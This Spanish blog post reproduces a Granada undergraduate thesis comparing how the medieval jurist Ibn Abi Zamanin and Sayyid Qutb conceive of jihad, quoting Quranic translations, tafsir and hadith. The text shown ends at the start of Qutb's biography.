Miércoles , Agosto 16 2017

El yihad de ayer y de hoy: Ibn Abi Zamanin y Sayyid Qutb

Es este un interesante análisis sobre la concepción del yihad desde el punto de vista de dos autores de épocas diferentes: Ibn Abi Zamanin y Sayyid Qutb. Se trata del Trabajo de Fin de Grado realizado por la alumna Bella María Palma Gómez del Grado en Estudios Árabes e Islámicos en la Universidad de Granada. 

 

  1. Introducción

Hemos elegido este tema por ser un tema de actualidad, aunque nosotros lo trataremos desde el punto de vista de dos autores de distintas épocas para ver qué entiende cada uno del ŷihād y a través de sus pensamientos ver cómo se ha desarrollado.

La historia del ŷihād empieza desde los tiempos del Profeta Muḥammad contra los Mequíes hasta nuestros días. En la actualidad, se ha convertido en uno de los temas más comentados a raíz de los ataques terroristas a nivel mundial y aunque hay mucha información al respecto tenemos que tener cuidado con lo que se dice ya que no siempre es verdad lo que dicen los medios. Hay que mirar bien la información consultada, hay gente que a la hora de escribir no contrasta debidamente y puede hacer escritos erróneos y crear confusión a los receptores, gente que escribe con una índole claramente islamófoba que crea confusión y odio hacia el Islam solo basándose en su pensamiento e ideas sin investigar para saber, y si lo hace, solo busca argumentos que apoyen sus teorías sin pararse a mirar el conjunto. Por eso, en este pequeño trabajo, intentaremos esclarecer en la medida de lo posible, el concepto de ŷihād, así como su definición en las fuentes del Islam, como el Corán y otras fuentes jurídico-religiosas y los puntos de vista que sobre él tienen estudiosos en la materia.

 

Objetivos

El objetivo del siguiente trabajo consiste en ver la evolución del ŷihād desde la Edad Media hasta nuestros días mediante la comparación de dos autores: uno de la Edad Media, Ibn Abī Zamanīn y otro de la época contemporánea, Sayyid Quṭb. Perseguimos en esta investigación mediante la bibliografía, llegar al significado del ŷihād, en los albores del Islam, independientemente del que se le ha dado hoy día a través de los grupos terroristas. Con esto se pretende contrastar las opiniones de estos dos autores al respecto de su concepción del ŷihād.

 

Metodología

Para la realización de este trabajo, hemos pensado estructurarlo en 7 capítulos esenciales. Los más destacados son: el capítulo nº 2 (Terminología), el capítulo nº 3 (Ibn Abī Zamanīn), el capítulo nº 4 (Sayyid Quṭb) y el capítulo nº5 (Comparación de postulados).

En el capítulo nº 2 intentamos facilitarle al lector el concepto de la palabra ŷihād, antes de proceder a establecer sus tipos y explicar qué se entiende por cada uno de ellos para no tener trabas en el desarrollo de este trabajo, que tiene como eje central este complejo término. Hay que decir que no nos basamos solo en estos dos autores para definir dicho término, sino que incluimos opiniones de otros autores que juzgamos relevantes. En esta parte, se establecen varios versículos que hacen referencia al ŷihād y se centra en la traducción coránica de tres arabistas: Julio Cortés, Juan Vernet y Abdelghani Melara Navío.

En el capítulo nº 3 empezamos a centrarnos en uno de los autores que constituyen el objeto de nuestro trabajo. En este sentido, queremos aclarar que preferimos establecer el orden cronológico y, por tanto, empezar por el autor Ibn Abī Zamanīn.

De Ibn Abī Zamanīn, se habla de manera breve de su biografía y de una contextualización de su época, antes de dedicar un espacio para hablar de su obra de la que se citan algunos de los fragmentos más importantes, a nuestro juicio.

Con respecto al segundo autor, Sayyid Quṭb, nos limitamos a hablar, en el capítulo nº 4, de los mismos puntos desarrollados en el caso del primer autor.

Llegados al capítulo nº 5, el punto crítico de nuestro trabajo, intentamos comparar nuestros dos autores. En primer lugar, establecemos los puntos de encuentro con la intención de mostrar lo que tienen en común. Esta coincidencia, tanto de formación como de pensamiento, es muy importante, puesto que nos ayuda a saber lo que une a dichos autores y lo que influye, quizás, en su modo de pensar. En segundo lugar, establecemos las diferencias de pensamiento más relevantes, a nuestro entender, una por una. El establecimiento de estas divergencias, nos permite ver, con claridad, la postura que tiene cada autor con respecto al otro y estar en medida de establecer una comparación basándonos en las informaciones anteriormente establecidas.

  1. Terminología

Antes de definir el concepto del ŷihād, nos gustaría destacar que dicho término tiene dos acepciones: el ŷihād mayor y el ŷihād menor.

Se entiende el “ŷihād mayor” como el esfuerzo que hace el musulmán por no cometer pecados e intentar ser un modelo a seguir. Este esfuerzo se le llama también “la lucha interior” que se hace de manera individual y se considera el más complicado de realizar respecto al “ŷihād menor”.[1]

En cuanto al “ŷihād menor”, se define como el esfuerzo que se hace para difundir el islam ya sea en forma de predicación o por medio de las armas.[2]

Como vemos, el ŷihād se contempla en su mayoría como “esfuerzo” y esto es compartido por la mayoría de los estudiosos consultados.

Es un término del que realmente se está abusando al relacionarlo con el concepto de “guerra santa” pudiendo hacer que personas que no investiguen o no estén estudiando algo relacionado con el mundo árabe solo vean esta parte del significado y nada más.

Es un término que solo se relaciona al mundo árabe como menciona Alejandro García Sanjuán (2009: 244) en su artículo Bases doctrinales y jurídicas del yihad en el derecho islámico clásico (siglos VIII-XIII), y también menciona este autor como en el DRAE cuando uno busca la palabra “yihad” aparece solo una acepción: “guerra santa de los musulmanes”[3].  Esta interpretación, como se ha mencionado anteriormente, contribuye a la divulgación errónea de la concepción de este término.

Sin embargo, el esfuerzo hecho por el musulmán se puede aplicar a cualquier tarea que lleva a cabo: rezar, ayunar, abstenerse de los pecados y de hacerle daño a nadie, cuidar de los vecinos, querer el bien para todos, etc., y no se limita solo a la vocación de intentar extender el Islam da igual si es por medios pacíficos o violentos.

Cabe decir que los ši’īes son los únicos, en el mundo musulmán, que tienen el ŷihād como 6º pilar del Islam[4], mientras que los sunníes y las demás ramas solo tienen los cinco pilares conocidos[5], otorgándole así al ŷihād una gran importancia.

  • El ŷihād en el Corán

Esta parte quizás sea un poco más larga en esta fase introductoria, antes de pasar a hablar de los autores en cuestión, pero creemos que es importante ya que el Corán es una de las fuentes principales en la que se basa la legislación o la normativa jurídico-religiosa.

De las 114 suras que componen el Corán las suras que hacen referencia al ŷihād o a la guerra son unas pocas, concretamente las suras 2, 3, 4, 5, 8, 9, 16, 22, 25, 29, 47, 48, 49, 59, 61, 66. Según García Sanjuán[6] el Corán contiene 6.236 aleyas de las cuales 95 se refieren a actos violentos.

En aras de la objetividad queremos señalar que hay que tener en cuenta la importancia que tiene la traducción y el papel que desempeña a la hora de describir una aleya como violenta o no. Aunque algunos de los tres traductores del Corán, en que nos hemos basado, dan un matiz violento a algunas aleyas, otros suavizan los términos utilizados.

A continuación, vamos a exponer algunas aleyas del Corán referentes al ŷihād, concretamente la Sura 2, aleyas 190-195 y la Sura 9, aleyas 5 y 111; mediante tres traducciones al español: la de Julio Cortés, la de Juan Vernet y la de Abdelghani Melara Navío. Aparte, se verá brevemente qué se dice de dichas aleyas en uno de los Comentarios del Corán (o Tafsīr).

Sura 2 aleya 190-195

Julio Cortés:

190-Combatid por Dios contra quienes combatan contra vosotros, pero no os excedáis. Dios no ama a los que se exceden.

191-Matadlos donde deis con ellos, y expulsadlos de donde os hayan expulsado. Tentar es más grave que matar. No combatáis contra ellos junto a la Mezquita Sagrada, a no ser que os ataquen allí. Así que, si combaten contra vosotros, matadlos: esa es la retribución de los infieles.

192-Pero si cesan, Dios es indulgente, misericordioso.

193-Combatid contra ellos hasta que dejen de induciros a apostatar y se rinda culto a Dios. Si cesan, no haya más hostilidades que contra los impíos.

194-El mes sagrado por el mes sagrado. Las cosas sagradas caen bajo la ley del talión. Si alguien os agrediera, agredidle en la medida que os agredió. Temed a Dios y sabed que Él está con los que Le temen.

195-Gastad por la causa de Dios y no os entreguéis a la perdición.

Haced el bien. Dios ama a quienes hacen el bien.[7]

Juan Vernet (186-191):

186-Combatid en el camino de Dios a quienes os combaten, pero no seáis los agresores. Dios no ama a los agresores.

187-¡Matadlos donde los encontréis, expulsadlos de donde os expulsaron! La idolatría es peor que el homicidio: no los combatáis junto a la Mezquita Sagrada hasta que os hayan combatido en ella. Si os combaten, matadlos: esa es la recompensa de los infieles.

188-Si dejan la idolatría, ciertamente, Dios será indulgente, misericordioso.

189-Matadlos hasta que la idolatría no exista y esté en su lugar la religión de Dios.

Si ellos ponen fin a la idolatría, no más hostilidad si no es contra los injustos.

190-¡El mes sagrado por el mes sagrado! Las cosas sagradas son talión. A quien os ataque, atacadle de la misma manera que os haya atacado. ¡Temed a Dios y sabed que Dios está con los temerosos;

191-Gastad en la senda de Dios y no os precipitéis con vuestras manos hacia el aniquilamiento. Haced bien: Dios ama a los benefactores. [8]

Abdelghani Melara Navío:

190-Y combatid en el camino de Allah a quienes os combatan a vosotros pero no os propaséis; es cierto que Allah no ama a los que se exceden.

191-Matadlos donde quiera que los encontréis y expulsadlos de donde os hayan expulsado.

La oposición (a vuestra creencia) es más grave que matar.

No luchéis con ellos junto a la “Mezquita Inviolable” si ellos no lo hacen, pero si os atacan, matadlos; ésta es la recompensa de los incrédulos.

192-Y si cesan…Allah es Perdonador y Compasivo.

193-Luchad contra ellos hasta que no haya más oposición y la Adoración debida sea sólo para Allah.

Pero si cesan, que no haya entonces hostilidad excepto contra los injustos.

194-Mes inviolable por mes inviolable.

Para todo lo inviolable deberá aplicarse el talión.

Y quien se exceda con vosotros, obrad con él en la misma medida.

Guardaos de Allah y sabed que Allah está con los que Le temen.

195-Gastad en el camino de Allah; que vuestras manos no os echen a perder llevándoos a la perdición, y haced el bien.

Es verdad que Allah ama a los que hacen el bien.[9]

En la obra Al-Montajab “La selección” en la interpretación del Sagrado Qur’an edición bilingüe publicado en El Cairo, vemos el comentario que se hace acerca de estas aleyas:

190-Es parte del permanente recuerdo de la presencia de Dios, el soportar y sobrellevar los sacrificios que exige obedecerle y el sacrificio más penoso para el alma es luchar contra los enemigos de Dios, pero, si se os agrede, combatid a vuestros agresores. Tenéis permiso para rechazar con las armas sus agresiones, más no os convirtáis en agresores, comenzando vosotros la lucha o matando a quien no interviene en vuestra contra, el cual no ha tomado partido en ninguno de ambos bandos. Dios no ama a los agresores.

191-Y matad a quienes os atacan buscando vuestra muerte, en donde los halléis, y expulsadlos de Meca, vuestra cuidad y patria de la cual os obligaron a salir, y no tengáis escrúpulos en actuar así, pues ellos han cometido acciones peores que el matar en la Mezquita Sagrada, tratando de introducir la confusión y la tentación en los sinceros creyentes para que renegasen del Islam por medio de la tortura, y ello en La Meca, hasta que se vieron obligados a huir con su religión y fe de su propia patria. Recordad que la Mezquita Sagrada posee sacralidad. No violéis su sacralidad, a menos que ellos la violen atacándoos en su recinto. Si os combaten allí, matadles y sabed que los venceréis con el apoyo de Dios. Tal es el castigo de los incrédulos: se les hace lo que ellos hacen con otros seres.

192-Mas si renuncian a su incredulidad y abrazan el Islam, el Islam redime de los actos anteriores y Dios perdonará las consecuencias de su incredulidad, por generosidad y misericordia.

193-Combatid a estos que intentaron mataros e impediros practicar vuestra religión por medio del daño y la tortura, hasta que sean arrancadas las raíces de la discordia y la falsedad y hasta que la religión y la fe sean para Dios. Así, si abandonan su incredulidad habrán salvado sus almas y evitado el castigo y no corresponderá atacarlos en esos momentos; mas debéis atacar a quien oprime su propia alma y la introduce en los pecados y rebeldías, y transgrede toda justicia y equilibrio de hecho y de palabra con sus actitudes.

194-Si os agreden durante el mes de sacra prohibición de toda lucha, n renunciéis a combatirlos durante su curso, pues, así como es de sacra prohibición para vosotros lo es para ellos, y si ellos violan la sacralidad que vosotros respetáis, enfrentadlos y responded en defensa de vuestras vidas. En la legislación que os dimos respecto a las prohibiciones sacras y a las cosas y lugares santos, fijamos la de la compensación equivalente y la respuesta en correspondencia y similitud. Por tanto quien os agreda en lo que para vosotros en Sagrado, rechazad tal agresión con una agresión equivalente, pero temiendo y recordando a Dios. No os excedáis en el castigo y el Qisas y sabed que Dios es sostén de los piadosos.

195-El esfuerzo y combate contra los incrédulos comprende el hacerlo ofreciendo la vida, como asimismo ofreciendo los propios bienes. Usad vuestra hacienda en los preparativos y elementos necesarios para el combate y sabed que combatir a estos incrédulos es combatir por la causa y en el sendero de Dios. Por tanto, no dejéis de participar y luchar y gastar bienes y posesiones en tal combate, pues si renunciáis a la acción y os mostráis avaros, os dominará vuestro enemigo y os humillará y será cual si os hubierais entregado por vuestra propia mano a la extinción. Realizad lo que es de vuestro deber realizar con bondad, dedicación y esmero, pues Dios desea que las obras y acciones que realicéis sean hechas a la perfección.[10]

Sura 9 aleya 5.

Esta aleya es la abrogación de la aleya 190 de la Sura 2.

Julio Cortés:

Cuando hayan transcurrido los meses sagrados, matad a los asociadores dondequiera que los encontréis. ¡Capturadlos! ¡Sitiadlos! ¡Tendedles emboscadas por todas partes! Pero si se arrepienten, hacen la azalá y dan el azaque, entonces ¡dejadlos en paz! Dios es indulgente, misericordioso.[11]

Juan Vernet:

Cuando terminen los meses sagrados, matad a los asociadores donde los encontréis. ¡Cogedlos!, ¡sitiadlos! ¡Preparadles toda clase de emboscadas! Si se arrepienten, cumplen la plegaria y dan la limosna, en ese caso dejad libre su senda: Dios es indulgente, misericordioso.[12]

 

Abdelghani Melara Navío:

y cuando hayan pasado los meses inviolables, matad a los asociadores donde quiera que los halléis.

Capturadlos, sitiadlos y tendedles toda clase de emboscadas, pero si se retractan, establecen el salat y entregan el zakat, dejad que sigan su camino.

Verdaderamente Allah es Perdonador y Compasivo.[13]

Montajab:

Cuando termine el plazo de la seguridad proclamada de cuatro meses, combatid a los idolatras que violan sus compromisos; doquiera los halléis apresadles rigurosamente; acorraladles cerrándoles todos los caminos y acechadles en todas partes, mas si se arrepientan de su incredulidad y observan los preceptos del Islam, celebrando la oración y pagando el Zakat, entonces no tenéis ninguna autoridad para ir contra de ellos, porque habrán abrazado la religión de Dios. ¡Y Él es Indulgentísimo con los que se arrepienten, Misericordiosísimo para con sus siervos![14]

Como vemos, en el Montajab, no se dice en ningún momento que haya que matarles solo dice de asediarles y tanto en las traducciones como en el Montajab, el ataque o asedio se da tras un período de espera tras haberlos invitado a convertirse al Islam.

Sura 9 aleya 111.

Julio Cortés:

Dios ha comprado a los creyentes sus personas y su hacienda, ofreciéndoles, a cambio, el Jardín. Combaten por Dios: matan o les matan. Es una promesa que Le obliga, verdad, contenida en la Tora, en el Evangelio y en el Corán. Y ¿quién respeta mejor su alianza que Dios? ¡Regocijaos por el trato que habéis cerrado con Él! ¡Ése es el éxito grandioso![15]

Juan Vernet (112):

Dios ha comprado a los creyentes sus almas y riquezas, porque les pertenece el Paraíso: Combaten en le senda de Dios y matan o son muertos. ¡Es una promesa de Él! ¡Es un derecho que figura inscrito en el Pentateuco, en el Evangelio y en el Corán! ¿Quién es más fiel que Dios a su pacto? ¡Alegraos por el contrato que con Él habéis concluido! ¡Ése es el éxito mayor![16]

Abdelghani Melara Navío:

Es cierto que Allah les ha comprado a los creyentes sus personas y bienes a cambio de tener el Jardín; combaten en el camino de Allah, matan y mueren.

Es una promesa verdadera que El asumió en la Torá, en el Inyil y en el Corán.

¿Y quién cumple su pacto mejor que Allah?

Así pues regocijaos por el pacto que habéis estipulado.

Este es el gran triunfo.[17]

Montajab:

Dios afirma-en esta aleya- que Él adquiere de los creyentes sus personas y sus bienes, a cambio del Paraíso, como precio de su sacrificio, combatiendo en aras de Su senda, matando a los enemigos de Dios o logrando el beneficio del martirio; tal promesa está estipulada en la Tora y en el Evangelio como lo estipulo en el Qur’an ¿Y quién es más cumplidor que Dios? ¡Regocijaos pues, combatientes creyentes, del intercambio en el cual sacrificasteis vuestras personas y vuestros bienes a cambio del Paraíso! Esta compraventa (consagración total) es, sin duda, el supremo triunfo para vosotros.[18]

Hemos escogido esta aleya, pese al carácter bélico que tiene, al ver que nombra que estableció el ŷihād en los libros anteriormente revelados, para mostrar que el ŷihād no solo se da en el Corán si no que se había dado anteriormente.

  • El ŷihād en otras fuentes jurídico-religiosas.

Los hadices, al ser la segunda fuente en la que se basa el Islam, adquieren también una importancia en este trabajo. Aunque hay bastantes recopiladores de hadices, nos centraremos en los dos de mayor relevancia como son al-Buhārī y al-Muslim.

Ambos autores en sus recopilaciones tienen un Kitāb al-ŷihād, y de ahí escogeremos solo algunos ejemplos para ver cómo se trata este tema.

Hemos encontrado traducciones al español de ambos, pero están estructurados de diferente manera: mientras el Ṣaḥīḥ al-Muslim se subdivide en apartados dependiendo de la situación al que se dirige el ŷihād, el Ṣaḥīḥ al-Buhārī no hace distinción haciendo una recopilación de todos, uno tras otro sin especificar.

En el Ṣaḥīḥ al-Muslim encontramos:

(4297) Abû Mûsa relató: “Cuando el Mensajero de Allah (B y P) enviaba a alguno de sus Compañeros en una misión les decía: “Dadles buenas nuevas (a la gente) y no creéis aversión. Y sed indulgentes y no seáis severos (facilitad y no dificultéis)” ”.[19]

En otro libro consultado, también se da otro dicho de Muslim:

Muslim cuenta:

“Abu Saaid al-Jodri- que Dios esté satisfecho de él- dijo que había oído al Enviado de Dios -para él la bendición y la salvación- decir:

“Si uno de vosotros ve algo que disgusta a Dios, que lo combata con sus manos; si no es posible, que sea con la lengua, y si tampoco es posible, que lo sea con el corazón; es lo mínimo que impone la fe[20].

En el Ṣaḥīḥ al-Buhārī vemos:

1205.- De Abu Sa’id al-Judri, que Allah esté complacido con él, que dijo: “Le dijeron al Mensajero de Allah: “¿Quién es el mejor de la gente?” Y dijo el Mensajero de Allah, al que Allah de dé Su gracia y paz: “Un creyente que lucha en el camino de Allah con su persona y sus bienes”. Dijeron: “¿Y luego quién?” Dijo: “Un creyente (apartado) en una cañada que teme a Allah y deja a la gente (a salvo) de su daño””.

1207.- Y de Abu Huraira también, que Allah esté complacido con él, que dijo: “El Mensajero de Allah, al que Allah le dé Su gracia y paz, dijo: “Quien cree en Allah y en Su Mensajero, establece (cumple con regularidad y corrección) el salat y ayuna ramadán, es un deber para Allah (que Él mismo Se impone) hacerle entrar en el Jardín, tanto si ha luchado en el camino de Allah como si se ha quedado sentado (sin luchar ni esforzarse por más) en la tierra en la que nació”. Y dijeron: “¡Mensajero de Allah!, ¿debemos dar estas buenas noticias a la gente?” Dijo:”En el Jardín hay cien grados que ha Allah ha preparado para los que luchan en el camino de Allah, entre un grado y el siguiente hay lo que entre el cielo y la Tierra; así pues si le pedís a Allah, pedidle el Firdaus, en el mismísimo centro del Jardín, en la parte más alta del Jardín” -y parece que dijo:”…encima del Trono del Misericordioso, de donde salen los ríos del Jardín”–”.[21]

Aunque no se puede discutir el carácter bélico en la mayoría de hadices, también se muestra que quien no hace el ŷihād menor pero cumple con los pilares del Islam va también al Paraíso. También se hace referencia a cuatro tipos de ŷihād aparte del denominado “mayor” o “menor” y presente en la obra Risāla de Ibn Abī Zayd al-Qayrawānī (922-996) los cuales se dan mediante la lengua, el corazón, la mano y la espada.[22]

Ahora pasaremos a la cuestión central del trabajo: los dos autores a comparar, hemos visto a la hora de buscar información sobre ambos una gran disparidad. Mientras que de Sayyid Quṭb hemos encontrado infinidad de manuales, artículos, etc, de Ibn Abī Zamanīn nos ha sido más difícil recopilar información.

  1. Ibn Abī Zamanīn

3.1. Biografía 

 Su nombre completo era Abū ‘Abd Allāh Muḥammad b. ‘Abd Allāh b. ‘Īsà b.  Muḥammad b. Ibrāhīm al-Murrī al-Ilbīrī, más conocido como Ibn Abī Zamanīn o Zamanayn. Nació en el 936 en Ilbīra (Granada), miembro de una larga familia de juristas con profundas convicciones religiosas. Se dice que su familia, los Banū Zamanīn, eran de origen bereber y que provenían de Nafza.

Empezó desde muy temprano a estudiar los hadices, el Corán y el Derecho. Estudió en Pechina y en Córdoba.

Estuvo influenciado por obras como el Mujtaṣar de ‘Abd al-ḥakām, la Muwaṭṭa’ de Mālik, la Mudawwana de Ibn al-Qasim, la ‘Utbiyya de al-‘Utbī o la obra al-Wadiḥa de Ibn ḥabīb. Fue jurista, polígrafo y poeta.

Escribió un total de 13 obras de temática variada:

  • Obras jurídicas:
  • Kitāb al-Mugrib fī ijtiṣār al-Mudawwana (Libro de la excelencia sobre el compendio de la Mudawwana).
  • Muštamal fī uṣūl al-Watā‘iq (Conjunto sobre el fundamento de las escrituras).
  • Muhaḍḍab fī tafsīr al- Muwaṭṭa’ (Rectificación eminente en el comentario de la Muwaṭṭa’) o Ijtiṣār sarḥ Ibn Muzayn lī-l- Muwaṭṭa’ (Resumen del comentario de Ibn Muzayn sobre la Muwaṭṭa’).
  • Muntajab al-Aḥkām (Sentencias escogidas).
  • Obras ascéticas:
  • Hayāt al-Qulūb (Vida de los corazones).
  • Uns al-murīdīn (Familiaridad de los iniciados).
  • Kitāb al-Muwā‘iz al-Manẓūma.
  • Obras religiosas:
  • Mujtaṣar tafsīr Ibn Salām lī-l-Qur‘ān (Resumen del comentario de Yaḥyà b. Salām sobre el Corán).
  • Kitāb uṣūl al-Sunna (Libro sobre los fundamentos de la Sunna).
  • Kitāb Muntajab al-Du‘ā (Selección de exhortaciones piadosas).
  • Al-Naṣā’iḥ al- Manẓūma (Consejos en verso).
  • Kitāb adāb al-Islām (La literatura del Islam).
  • Obras bélicas:
  • Qudwāt al-Gāzī (Modelo del Combatiente). Esta obra la analizaremos tras el contexto histórico.[23]

 

3.2. Contexto histórico

Su vida data en dos momentos importantes en la historia de al-Ándalus:

  • El auge del Califato de Córdoba.

Aunque vivió casi media vida bajo el gobierno de ‘Abd al-Raḥmān III (912-961), que su gobierno se considera el más pacifista del Califato Omeya, Ibn Abī Zamanīn tuvo más producción literaria bajo el de al-Ḥakām II (961-976), el cual fue mecena de la escuela de Derecho Mālikí, las artes y las letras, las ciencias y la teología.

  • El gobierno de Almanzor.

El sucesor de al-Ḥakām II, Hišām II (976-1013), era muy joven para ocupar el trono, así que Almanzor gobernó en calidad de regente hasta que tuviera la edad suficiente, su mandato se dio desde 981 a 1002[24].

 

3.3. Qudwāt al-Gāzī (Modelo del combatiente)

Según Asma Afsaruddin[25] esta obra es un trabajo híbrido entre faḍā‘īl y Aḥkām que al parecer era normal en esta época, esta autora se centra en el faḍā‘īl al-ŷihād (las virtudes del ŷihād) donde hay hadices que exaltan los méritos del ŷihād combativo y del martirio.

De esta obra existen dos ediciones[26]:

Una de R. Weschel, Das Buch “Qidwat al-gāzī”. Ein beitrag zur Geschichte der ǧihād literatur en Bonn en el año 1970. Estudio y traducción. Y otra posterior: Ibn Abī Zamanīn, kitāb Qudwāt al-Gāzī, ed. Crítica con notas y estudio por A. Sulaymānī en Beirut en el año 1989. De esta obra se conserva un manuscrito en la Biblioteca Nacional de Madrid, de 34 hojas con 12 líneas a doble cara.

Según Arcas Campoy, la obra se divide en 24 capítulos, pero a la hora de citarlos solo cita 23, pasando del 14 al 16[27], no sabemos si es un lapsus de la autora o que no se da

dicho capítulo. Pero hay que decir que, según la edición consultada en árabe[28], se dice que la obra consta de 23 capítulos, lo cual nos plantea la duda.

Según María Arcas Campoy[29], se cree que esta obra pudo ser escrita en los últimos años de vida del autor, basándose en Mālik b. Anas. Cita normas dadas en el Corán, los hadices y las opiniones de sabios y juristas mālikíes.

En la denominada “guerra santa” también hay una parte espiritual llamada ‘ibādāt, que tiene un lugar importante dentro de la parte bélica. Esta parte es la que verdaderamente mostrará la intención del combatiente. Entonces se ve claramente que se dan al mismo tiempo lo material y lo espiritual.

Para poder combatir, el combatiente debe ser como mínimo, adolescente, el cual debe tener dinero para los gastos, como dice Ibn Ḥabīb “Si es rico, que combata con lo que tiene, y, si es pobre, que se quede sentado en su casa”[30] y debe tener saldadas sus deudas, salvo si va a combatir para pagar dichas deudas[31]; debe obtener el permiso paterno, para poder evitar su sufrimiento.

Todos los juristas coinciden que solo podrán saltarse estas normas en el caso de que la ciudad sufra un ataque sorpresa.

Arcas Campoy apunta:

Todo combatiente ha de observar con rigor seis preceptos:

  • Sinceridad de intención (niyya)
  • Obediencia al imām
  • No cometer fraude (gulūl)
  • Respetar el amām o salvaguardia otorgada
  • Firmeza en el avance militar
  • Mantenerse alejado de la corrupción (fasād)

El incumplimiento de uno o varios de estos preceptos supone una gravísima falta para el combatiente, hasta el punto de serle negada la entrada en el Paraíso, pues tal conducta le conduce, con toda seguridad a los tormentos del infierno (ŷahannam).[32]

 

Ibn Zamanīn nombra un hadiz que anteriormente se ha visto en el apartado del El ŷihād en los hadices. Define el ŷihād desde el punto de vista lingüístico como la energía de uno que hace a la hora de esforzarse, puesto que deriva de la raíz ŷhd “esforzarse”. Desde el punto de vista religioso, se entiende como la lucha contra los incrédulos o infieles para hacer vencer la palabra de Dios.

Etapas de regularización y obligación del ŷihād:

  1. Primera etapa: Meca

El Profeta con sus seguidores, que, al ser minoritarios, los habitantes de Meca los molestaban y ellos no podían defenderse. Se le ordenó hablar con tranquilidad y de manera humilde con la gente.

  1. Segunda etapa: Medina

Cuando ya habían sufrido agresiones de los Mequíes, se les ha permitido a los musulmanes inmigrar a Etiopía, donde gobernaba un rey justo para ser protegidos de las agresiones de Qurayš y esperar también hasta que se incrementara su número. Esta etapa se puede subdividir en tres partes:

  • Permiso de combatir sin ser obligación

En esta parte, los musulmanes obtuvieron el permiso para poder combatir, defenderse por la fuerza, pero en esta etapa no es obligatorio. El siguiente versículo aclara con detalle dicha época: 22: 38-40[33]

  • La obligación de combatir a los que agreden a los musulmanes

Se da la obligación de declarar la guerra a los que por su parte declaran la guerra a los musulmanes. Aquí vemos nuevamente algo que se ha visto con anterioridad como es la aleya 2:190[34].

  • La obligación de combatir para que venza la palabra de Dios

Declaración de guerra para que la palabra de Dios venza. Los musulmanes están obligados a luchar contra los infieles para divulgar la palabra de Dios. 9:1-7, 29 nuevamente se repite otra aleya entre estas vistas con anterioridad como es la aleya 9:5.[35]

A partir de ahí, los musulmanes estaban obligados a luchar con todos los seres en la Tierra hasta que abracen el Islam o paguen impuestos.

 

Según el editor de esta edición:

  • Metodología que ha usado Ibn Abī Zamanīn en su libro

Detalla en la introducción los motivos que le hicieron optar por este tema y la metodología que utiliza donde cita varios versículos que instan al ŷihād.

Suele contentarse con citar los versículos y hadices que tienen por temática el ŷihād sin entrar en detalles y cita también la opinión de otros eruditos.

En este sentido, se divide en 23 capítulos, en cada uno hay un versículo del Corán o un hadiz y en el primer y segundo capítulo empieza con la palabra capítulo entre comillas, mientras que en otros empieza a redactar sin poner la palabra capítulo.

Toma como referencia la explicación o comentario del Corán de los seguidores del Profeta como ‘Abd al-Raḥmān Ibn Zayd. De los hadices que cita, no ha sido riguroso al citarlos ya que algunos son débiles.[36]

  • Los inconvenientes del libro de Ibn Abī Zamanīn
  1. Ibn Abī Zamanīn cuando cita el nombre del Profeta no aplica la bendición que se suele aplicar tras él.
  2. No habla de Compañeros del Profeta muy conocidos a la hora de citar las fuentes religiosas.
  3. Se contenta con lo que dicen los eruditos sin citar el versículo o el hadiz aunque son explícitos.
  4. Algunos de los hadices que cita son débiles.
  5. No citaba bien las fuentes de las que cogía el conocimiento que ponía en su libro.[37]

 

  • Fuentes utilizadas por Ibn Abī Zamanīn:
  1. El Corán.
  2. La Sunna.
  3. Los dichos de los Compañeros del Profeta, como Umar y ‘Alī.
  4. Los dichos de los seguidores.
  5. Fuentes del Derecho Mālikí como el Mudawwana o el Wadiḥa.[38]

 

  • Valor del libro

El valor de este libro consiste en la época en que se elaboró. Pues ya sabemos que este libro fue escrito por su autor en el siglo IV de la hégira bajo el reino de los Omeyas en al-Ándalus que atribuyen en aquella época mucha importancia al ŷihād. Ibn Abī Zamanīn dejó claro en su libro los principios y preceptos que tenía que regir el ŷihād para que no se cometieran barbaridades bajo el lema religioso.

Nosotros hoy día, vemos la importancia que tiene este libro en la época cultural y científica que nos revela a través de su obra. Nos revela la metodología que han usado los eruditos en aquella época en al-Ándalus a la hora de elaborar obras.[39]

Ibn Abī Zamanīn creía que el ŷihād no se basaba solo en la fuerza militar y en la preparación, sino que también se basaba en la claridad de los principios y el saber de los conquistadores.

De los capítulos que componen el libro, hemos escogido los que creemos más relevantes[40] para comentar brevemente:

  • En el capítulo referente a los hadices, el autor cita hadices que recomienda el ŷihād y hadices referentes a la intención de hacer el ŷihād.

 

  • El comportamiento del combatiente

Su comportamiento debe ser ejemplar con todo el mundo. Tiene que estar regido por los textos religiosos no puede hacer lo que a él le venga en gana.

  • Gastar en el Camino de Dios

El combatiente debe poseer poder adquisitivo y haber dejado saldadas todas sus deudas a la hora de encaminarse al ŷihād. Solo se le permitiría ir sin saldarlas en el caso en que el botín que adquiera sea para saldar dichas deudas.

  • Lo que deben y no deben hacer los combatientes

No tienen derecho a cometer fraude ni a engañar, no pueden maltratar los cadáveres ni matar a mujeres y niños, a excepción de que sean combatientes, ni a personas mayores, a los enfermos, no pueden cortar árboles que den fruto, no se debe matar a hombres de ciencia ni a monjes, etc.

Otra prohibición importante es el matar a musulmanes o hacer una guerra contra ellos.

  • La prohibición de hacer algo que te promete el Imām

Ibn Ḥabīb: “Haber escuchado a los eruditos musulmanes que está prohibido ir al combate con intención de ganar dinero, acostarse con una mujer o adquirir bienes determinados”.

  • El hecho de huir del combate, el posicionamiento con los enemigos y el enfrentamiento de uno contra un grupo

Ibn Ḥabīb: “Mientras los enemigos superen a los musulmanes solo con el doble no tienen derecho a huir”.

  • El hecho de ir al combate sin el permiso de los padres y en el caso del esclavo, sin el permiso del amo

no se les permite a los combatientes ejercer la guerra sin haberles pedido permiso a los padres, para así evitar hacerles sufrir y se lo han de pedir incluso aunque el combate se dé en la puerta de su casa. Están exentos de pedirlos en el caso de que haya un ataque sorpresa a la ciudad. Lo mismo se da con el esclavo respecto al amo.

 

4.Sayyid Quṭb

4.1. Biografía

Nació en el sur de Egipto en 1906, era el mayor de sus 4 hermanos de los cuales 3 se metieron en la defensa de los valores islámicos. De familia muy religiosa, a los 10 años se sabía el Corán de memoria. Se graduó en el Dar al-Ulum de Magisterio en 1928, en un principio fue defensor del modelo occidental, en 1948 viaja a Estados Unidos para estudiar el modelo de educación, pero el comportamiento de esta sociedad le provocó rechazo y le hizo volver a Egipto sin acabar sus estudios, durante su estancia allí “redescubrió” el Islam de una forma más fundamentalista.[41]

